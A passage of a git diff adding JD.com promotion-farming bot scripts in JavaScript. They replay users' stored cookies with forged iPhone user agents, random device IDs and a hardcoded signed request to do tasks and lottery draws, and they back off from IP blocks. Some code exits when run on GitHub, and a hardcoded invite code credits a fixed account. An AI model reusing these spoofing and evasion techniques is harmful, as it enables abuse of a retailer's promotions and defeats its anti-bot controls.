`area=16_1315_1316_53522&body=%7B%22url%22%3A%22https%3A%5C/%5C/lzkj-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167814&client=apple&clientVersion=10.1.4&d_brand=apple&d_model=iPhone8%2C1&eid=eidId10b812191seBCFGmtbeTX2vXF3lbgDAVwQhSA8wKqj6OA9J4foPQm3UzRwrrLdO23B3E2wCUY/bODH01VnxiEnAUvoM6SiEnmP3IPqRuO%2By/%2BZo&isBackground=N&joycious=63&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=2f7578cb634065f9beae94d013f172e197d62283&osVersion=13.1.2&partner=apple&rfs=0000&scope=01&screen=750%2A1334&sign=49fb2800eed6700247d65315fa87b0ea&st=1631445914013&sv=121&uemps=0-0&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJJg2e1%2BOm%2BnR1ghsACkwYaC5T8MBzacXL6lGgaG3tN/7VfZQ0cWxakYsUC/7HByKaKmZk3lGgs%2BN5SLVQqcT1dHwmltRmrJSASnmzmKt1eAZIDPljSoe6HXngZ0%2BTDeBQhdhlfx4zdJqC287%2BIyA%2BTp5qKeb%2BpuZA8KOI8jvMLJAVVfbhSV2SRg%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b`; + break; + case 'getSimpleActInfoVo': + url = `https://lzkj-isv.isvjcloud.com/customer/getSimpleActInfoVo`; + body = `activityId=${$.activityId}`; + break; + case 'getMyPing': + url = `https://lzkj-isv.isvjcloud.com/customer/getMyPing`; + body = `userId=${$.shopId || $.venderId || ''}&token=${$.Token}&fromType=APP`; + break; + case 'accessLogWithAD': + url = `https://lzkj-isv.isvjcloud.com/common/accessLogWithAD`; + let pageurl = `https://lzkj-isv.isvjcloud.com/drawCenter/activity?activityId=${$.activityId}&shareUuid=${$.shareUuid}` + body = `venderId=${$.shopId || $.venderId || ''}&code=2001&pin=${encodeURIComponent($.Pin)}&activityId=${$.activityId}&pageUrl=${encodeURIComponent(pageurl)}&subType=APP&adSource=null` + break; + case 'getUserInfo': + url = `https://lzkj-isv.isvjcloud.com/wxActionCommon/getUserInfo`; + body = `pin=${encodeURIComponent($.Pin)}`; + break; + case 'activityContent': + url = `https://lzkj-isv.isvjcloud.com/drawCenter/activityContent`; + body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&pinImg=${encodeURIComponent($.attrTouXiang)}&nick=${encodeURIComponent($.nickname)}&cjyxPin=&cjhyPin=&shareUuid=${$.shareUuid}` + break; + case 'helpFriend': + url = `https://lzkj-isv.isvjcloud.com/drawCenter/helpFriend`; + body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&shareUuid=${$.shareUuid}` + break; + case 'myInfo': + url = `https://lzkj-isv.isvjcloud.com/drawCenter/myInfo`; + body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}` + break; + case 'getProduct': + url = `https://lzkj-isv.isvjcloud.com/drawCenter/getProduct`; + body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&type=${$.getProductType}` + break; + case 'doTask': + url = `https://lzkj-isv.isvjcloud.com/drawCenter/doTask`; + body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&taskId=${$.oneTask.taskType == 'scanurl' && $.oneTask.taskId || $.oneTask.taskType || ''}¶m=${$.oneProduct.skuId || ''}` + break; + case 'luckyDraw': + url = `https://lzkj-isv.isvjcloud.com/drawCenter/draw/luckyDraw`; + body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}` + break; + case 'myPrize': + url = `https://lzkj-isv.isvjcloud.com/drawCenter/myPrize`; + body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}` + break; + default: + console.log(`错误${type}`); + } + let myRequest = getPostRequest(url, body, method); + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + setActivityCookie(resp) + if (err) { + if(resp && resp.statusCode && resp.statusCode == 493){ + console.log('此ip已被限制,请过10分钟后再执行脚本\n') + $.outFlag = true + } + console.log(`${$.toStr(err,err)}`) + console.log(`${type} API请求失败,请检查网路重试`) + } else { + dealReturn(type, data); + } + } catch (e) { + // console.log(data); + console.log(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function dealReturn(type, data) { + let res = '' + try { + if(type != 'accessLogWithAD'){ + res = JSON.parse(data); + } + } catch (e) { + console.log(`${type} 执行任务异常`); + console.log(data); + $.runFalag = false; + } + switch (type) { + case 'isvObfuscator': + if(typeof res == 'object' && res.errcode == 0){ + if(typeof res.token != 'undefined') $.Token = res.token + }else if(typeof res == 'object' && res.message){ + console.log(`isvObfuscator ${res.message || ''}`) + }else{ + console.log(data) + } + break; + case 'getSimpleActInfoVo': + if(typeof res == 'object' && res.result && res.result === true){ + if(typeof res.data.shopId != 'undefined') $.shopId = res.data.shopId + if(typeof res.data.venderId != 'undefined') $.venderId = res.data.venderId + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`${type} ${res.errorMessage || ''}`) + }else{ + console.log(`${type} ${data}`) + } + break; + case 'getMyPing': + if(typeof res == 'object' && res.result && res.result === true){ + if(res.data && typeof res.data.secretPin != 'undefined') $.Pin = res.data.secretPin + if(res.data && typeof res.data.nickname != 'undefined') $.nickname = res.data.nickname + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`${type} ${res.errorMessage || ''}`) + }else{ + console.log(`${type} ${data}`) + } + break; + case 'getUserInfo': + if(typeof res == 'object' && res.result && res.result === true){ + if(res.data && typeof res.data.yunMidImageUrl != 'undefined') $.attrTouXiang = res.data.yunMidImageUrl || "https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png" + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`${type} ${res.errorMessage || ''}`) + }else{ + console.log(`${type} ${data}`) + } + break; + case 'activityContent': + if(typeof res == 'object' && res.result && res.result === true){ + if(typeof res.data.uid != 'undefined') $.actorUuid = res.data.uid + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`${type} ${res.errorMessage || ''}`) + }else{ + console.log(`${type} ${data}`) + } + break; + case 'helpFriend': + console.log(`${type} ${data}`) + break; + case 'myInfo': + if(typeof res == 'object' && res.result && res.result === true){ + if(res.data){ + $.chance = res.data.chance || 0 + $.taskList = res.data.taskList || [] + } + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`${type} ${res.errorMessage || ''}`) + }else{ + console.log(`${type} ${data}`) + } + break; + case 'getProduct': + if(typeof res == 'object' && res.result && res.result === true){ + if(res.data){ + $.ProductList = res.data || [] + } + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`${type} ${res.errorMessage || ''}`) + }else{ + console.log(`${type} ${data}`) + } + break; + case 'doTask': + if(typeof res == 'object' && res.result && res.result === true){ + if(typeof res.data == 'number' && res.data > 0) console.log(`获得${res.data}次机会`) + }else if(typeof res == 'object' && res.errorMessage){ + if(res.errorMessage == '任务已完成') $.runFalag = false + console.log(`${type} ${res.errorMessage || ''}`) + }else{ + console.log(`${type} ${data}`) + } + break; + case 'luckyDraw': + if(typeof res == 'object' && res.result && res.result === true){ + if(typeof res.data == 'object'){ + let msg = res.data.drawOk == true && (res.data.drawInfoType == 6 && res.data.name || '') || '空气💨' + if(msg){ + $.bean += msg.match(/\d+/) && Number(msg.match(/\d+/)[0]) || 0 + } + console.log(`抽奖获得:${msg || data}`) + }else{ + console.log(`${type} ${data}`) + } + }else if(typeof res == 'object' && res.errorMessage){ + if(res.errorMessage == '任务已完成') $.runFalag = false + console.log(`${type} ${res.errorMessage || ''}`) + }else{ + console.log(`${type} ${data}`) + } + break; + case 'myPrize': + if(typeof res == 'object' && res.result && res.result === true){ + if(typeof res.data == 'object'){ + console.log('我的奖品:') + let num = 0 + for(let i of res.data || []){ + if(i.prizeName.indexOf('京豆') > -1){ + num += i.prizeName.match(/\d+/) && Number(i.prizeName.match(/\d+/)[0]) || 0 + }else{ + console.log(` ${i.prizeName || i}`) + } + } + console.log(` ${num}京豆\n`) + }else{ + console.log(`${type} ${data}`) + } + }else if(typeof res == 'object' && res.errorMessage){ + if(res.errorMessage == '任务已完成') $.runFalag = false + console.log(`${type} ${res.errorMessage || ''}`) + }else{ + console.log(`${type} ${data}`) + } + break; + + case 'accessLogWithAD': + break; + + default: + console.log(`${type}-> ${data}`); + } + if(typeof res == 'object' && res.errorMessage){ + if(res.errorMessage.indexOf('火爆') >-1 ){ + $.hotFlag = true + } + } +} + +function getPostRequest(url, body, method="POST") { + let ck = cookie + let host = '' + let headers = { + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Connection": "keep-alive", + 'Cookie': `${ck}`, + "X-Requested-With": "XMLHttpRequest", + "User-Agent": `${UA || $.UA}` , + } + if(url.indexOf('lzkj-isv.isvjcloud.com') > -1){ + headers["Referer"] = `https://lzkj-isv.isvjcloud.com/drawCenter/activity?activityId=${$.activityId}&shareUuid=${$.shareUuid}` + headers["Origin"] = `https://lzkj-isv.isvjcloud.com` + headers["Cookie"] = `${lz_jdpin_token_cookie && lz_jdpin_token_cookie || ''}${$.Pin && "AUTH_C_USER=" + $.Pin + ";" || ""}${activityCookie}` + } + if(method == "POST"){ + headers["Content-Type"] = "application/x-www-form-urlencoded" + headers["Accept"] = "application/json" + } + // console.log(headers) + // console.log(headers.Cookie) + return {url: url, method: method, headers: headers, body: body, timeout:30000}; +} + +function setActivityCookie(resp){ + let LZ_TOKEN_KEY = '' + let LZ_TOKEN_VALUE = '' + let lz_jdpin_token = '' + let setcookies = resp && resp['headers'] && (resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '') || '' + let setcookie = '' + if(setcookies){ + if(typeof setcookies != 'object'){ + setcookie = setcookies.split(',') + }else setcookie = setcookies + for (let ck of setcookie) { + let name = ck.split(";")[0].trim() + if(name.split("=")[1]){ + // console.log(name.replace(/ /g,'')) + if(name.indexOf('LZ_TOKEN_KEY=')>-1) LZ_TOKEN_KEY = name.replace(/ /g,'')+';' + if(name.indexOf('LZ_TOKEN_VALUE=')>-1) LZ_TOKEN_VALUE = name.replace(/ /g,'')+';' + if(name.indexOf('lz_jdpin_token=')>-1) lz_jdpin_token = ''+name.replace(/ /g,'')+';' + } + } + } + if(LZ_TOKEN_KEY && LZ_TOKEN_VALUE) activityCookie = `${LZ_TOKEN_KEY} ${LZ_TOKEN_VALUE}` + if(lz_jdpin_token) lz_jdpin_token_cookie = lz_jdpin_token +} +function getCk() { + return new Promise(resolve => { + let get = { + url:`https://lzkj-isv.isvjcloud.com/drawCenter/activity?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + followRedirect:false, + headers: { + "User-Agent": $.UA, + }, + timeout:30000 + } + $.get(get, async(err, resp, data) => { + try { + if (err) { + if(resp.statusCode && resp.statusCode == 493){ + console.log('此ip已被限制,请过10分钟后再执行脚本\n') + $.outFlag = true + } + console.log(`${$.toStr(err)}`) + console.log(`${$.name} cookie API请求失败,请检查网路重试`) + } else { + setActivityCookie(resp) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function getUA(){ + $.UA = `jdapp;iPhone;10.1.4;13.1.2;${randomString(40)};network/wifi;model/iPhone8,1;addressid/2308460611;appBuild/167814;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + diff --git a/backUp/gua_UnknownTask5.js b/backUp/gua_UnknownTask5.js new file mode 100644 index 0000000..8e19cac --- /dev/null +++ b/backUp/gua_UnknownTask5.js @@ -0,0 +1,615 @@ +/* + +https://3.cn/102QN9l-6 +跑此脚本需要添加依赖文件[sign_graphics_validate.js] +———————————————— +如需开卡请设置环境变量[guaunknownTask_card5]为"true" + +如需加购请设置环境变量[guaunknownTask_addSku5]为"true" + +27 11 13-23 9 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_UnknownTask5.js +*/ +const $ = new Env('酒水中秋礼盒'); +const Faker=require('./sign_graphics_validate.js') +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let guaopencard = "false" +guaopencard = $.isNode() ? (process.env.guaunknownTask_card5 ? process.env.guaunknownTask_card5 : `${guaopencard}`) : ($.getdata('guaunknownTask_card5') ? $.getdata('guaunknownTask_card5') : `${guaopencard}`); +guaopencard = $.isNode() ? (process.env.guaunknownTask_card_All ? process.env.guaunknownTask_card_All : `${guaopencard}`) : ($.getdata('guaunknownTask_card_All') ? $.getdata('guaunknownTask_card_All') : `${guaopencard}`); +let guaunknownTask_addSku = "false" +guaunknownTask_addSku = $.isNode() ? (process.env.guaunknownTask_addSku5 ? process.env.guaunknownTask_addSku5 : `${guaunknownTask_addSku}`) : ($.getdata('guaunknownTask_addSku5') ? $.getdata('guaunknownTask_addSku5') : `${guaunknownTask_addSku}`); +guaunknownTask_addSku = $.isNode() ? (process.env.guaunknownTask_addSku_All ? process.env.guaunknownTask_addSku_All : `${guaunknownTask_addSku}`) : ($.getdata('guaunknownTask_addSku_All') ? $.getdata('guaunknownTask_addSku_All') : `${guaunknownTask_addSku}`); +allMessage = "" +message = "" +let UA = '' +let configCode = '3cfe11b8a4c7460aac77c24a32020e75' +let friendPin = '1SxWKHmezsdVriTLjOkqyoVI+useK94bdK5BQ6zjgl4=' +let toFriend = 0 +$.temp = []; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + $.shareArr = [] + console.log(`入口:\nhttps://3.cn/102QN9l-6`) + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + message = "" + $.bean = 0 + $.hotFlag = false + await getUA() + $.nickName = ''; + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await run(); + if($.index == 1 && !$.pin) break + if($.outFlag) break + } + } + if(allMessage){ + $.msg($.name, ``, `${allMessage}`); + if ($.isNode()){ + await notify.sendNotify(`${$.name}`, `${allMessage}`); + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + + +async function run() { + try { + toFriend = 0 + $.bean = 0 + if(!$.fp || !$.eid){ + message += `获取活动信息失败!\n` + return + } + await getActivity() + $.taskList = [] + $.pin = '' + await getMyTask(1) + let friendCount = 0 + for(let i in $.taskList || []){ + $.oneTask = $.taskList[i] + let title = '' + switch ($.oneTask.taskType) { + case 2: + title = '关注' + break; + case 3: + title = '浏览' + break; + case 4: + title = '加购' + break; + case 8: + title = '邀请' + break; + case 11: + title = '开通会员' + break; + } + console.log(`${title} ${$.oneTask.finishCount}/${$.oneTask.itemCount}`) + let num = $.oneTask.itemCount - $.oneTask.finishCount + if($.oneTask.taskType == 8){ + friendCount = $.oneTask.finishCount + continue + } + if(num <= 0) continue + if($.oneTask.taskType == 4 && guaopencard+"" != "true") console.log('如需开卡请设置环境变量[guaunknownTask_card5]为"true"') + if($.oneTask.taskType == 4 && guaopencard+"" != "true") continue + if($.oneTask.taskType == 11 && guaopencard+"" != "true") console.log('如需开卡请设置环境变量[guaunknownTask_card5]为"true"') + if($.oneTask.taskType == 11 && guaopencard+"" != "true") continue + let taskNum = $.oneTask.itemCount - $.oneTask.finishCount + if([2,3,4,11].includes($.oneTask.taskType)){ + $.itemId = $.oneTask.taskItem.itemId + let task = [] + let onetask = [] + do{ + taskNum--; + task = [] + if($.oneTask.taskType == 11) await join($.itemId) + await $.wait(parseInt(Math.random() * 2000 + 2000, 10)) + await takePostRequest('doTask'); + $.itemId = '' + await $.wait(parseInt(Math.random() * 2000 + 1000 * $.oneTask.viewTime || 2, 10)) + if($.oneTask.taskType != 3){ + task = await getMyTask(2) + if(task.length > 0){ + onetask = task.filter((x) => x.taskType == $.oneTask.taskType && x.finishCount < x.itemCount && x.taskItem.itemId != $.oneTask.taskItem.itemId) + if(onetask.length > 0){ + for(let k of onetask || []){ + if(k.taskType == $.oneTask.taskType){ + $.itemId = k.taskItem.itemId + } + } + } + } + } + }while ((($.itemId != '' && $.oneTask.taskType != 3) || ($.itemId == '' && $.oneTask.taskType == 3)) && taskNum > 0) + } + } + $.remainPoints = 0 + await getActivity() + + let count = parseInt($.remainPoints/100, 10) + console.log(`心动值:${$.remainPoints} 可抽奖次数:${count}`) + for(j=1;count-- && true;j++){ + console.log(`第${j}次`) + await draw() + await $.wait(parseInt(Math.random() * 2000 + 2000, 10)) + } + $.totalPoints = 0 + $.totalBeans = 0 + await getMyRewards() + console.log(`当前剩余:${$.totalPoints}心动值 累计获得:${$.totalBeans}京豆`) + if($.bean > 0){ + allMessage += `【京东账号${$.index}】${$.nickName || $.UserName}\n本次运行获得${$.bean}京豆\n` + } + if(false){ + $.log($.pin) + $.log("当前助力:"+friendPin) + if($.pin){ + $.shareArr.push({"friendPin":$.pin,"count":friendCount,'index':$.index}) + }else if($.index === 1){ + console.log('账号1获取不到[friendPin]退出执行,请重新执行') + return + } + if(toFriend == 1 && $.index !== 1) updatefriend(friendPin,1) + if($.index === 1) updatefriend(friendPin,0) + } + await $.wait(parseInt(Math.random() * 2000 + 5000, 10)) + } catch (e) { + console.log(e) + } +} + +function updatefriend(id,type) { + let index = 0 + for(let i in $.shareArr){ + if($.shareArr[i] && $.shareArr[i].friendPin == id){ + index = i + break + } + } + if(type == 1) $.shareArr[index].count++ + if($.shareArr[index].count >= 3 || type == 0){ + console.log(`助力码[${$.shareArr[index].friendPin}] 已邀请${$.shareArr[index].count}`) + for(let i in $.shareArr){ + if($.shareArr[i] && $.shareArr[i].count < 3){ + friendPin = $.shareArr[i].friendPin + console.log(`更新助力码[${friendPin}] 账号${$.shareArr[i].index} 已邀请${$.shareArr[i].count}`) + break + } + } + } +} +async function takePostRequest(type) { + if($.hotFlag) return + let url = ''; + let body = ``; + let method = 'POST' + switch (type) { + case 'doTask': + url = `https://jdjoy.jd.com/module/freshgoods/doTask`; + body = `code=${configCode}&taskType=${$.oneTask.taskType}&taskId=${$.oneTask.taskId}&eid=${$.eid}&fp=${$.fp}${$.itemId && "&itemId="+$.itemId || ""}&friendPin=${encodeURIComponent(friendPin)}` + break; + default: + console.log(`错误${type}`); + } + let myRequest = getPostRequest(url, body, method); + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + if (err) { + if(resp && resp.statusCode && resp.statusCode == 493){ + console.log('此ip已被限制,请过10分钟后再执行脚本\n') + $.outFlag = true + } + console.log(`${$.toStr(err,err)}`) + console.log(`${type} API请求失败,请检查网路重试`) + } else { + dealReturn(type, data); + } + } catch (e) { + // console.log(data); + console.log(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function dealReturn(type, data) { + let res = '' + try { + res = JSON.parse(data); + } catch (e) { + console.log(`${type} 执行任务异常`); + console.log(data); + $.runFalag = false; + } + switch (type) { + case 'doTask': + if(typeof res == 'object' && res.success && res.success === true){ + toFriend = 1 + let msg = '' + if(res.data && res.data.rewardBeans > 0) msg += res.data.rewardBeans+'京豆' + if(res.data && res.data.rewardPoints > 0) msg += res.data.rewardPoints+'心动值' + console.log(`获得: ${msg || data}`) + }else if(typeof res == 'object' && res.errorMessage){ + if(res.errorMessage == '任务已完成') $.runFalag = false + console.log(`${type} ${res.errorMessage || ''}`) + }else{ + console.log(`${type} ${data}`) + } + break; + default: + console.log(`${type}-> ${data}`); + } + if(typeof res == 'object' && res.errorMessage){ + if(res.errorMessage.indexOf('火爆') >-1 ){ + $.hotFlag = true + } + } +} + +function getPostRequest(url, body, method="POST") { + let ck = cookie + let host = '' + let headers = { + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Connection": "keep-alive", + 'Cookie': `${ck}`, + "X-Requested-With": "XMLHttpRequest", + "User-Agent": `${UA || $.UA}` , + } + if(method == "POST"){ + headers["Content-Type"] = "application/x-www-form-urlencoded" + headers["Accept"] = "application/json" + } + // console.log(headers) + // console.log(headers.Cookie) + return {url: url, method: method, 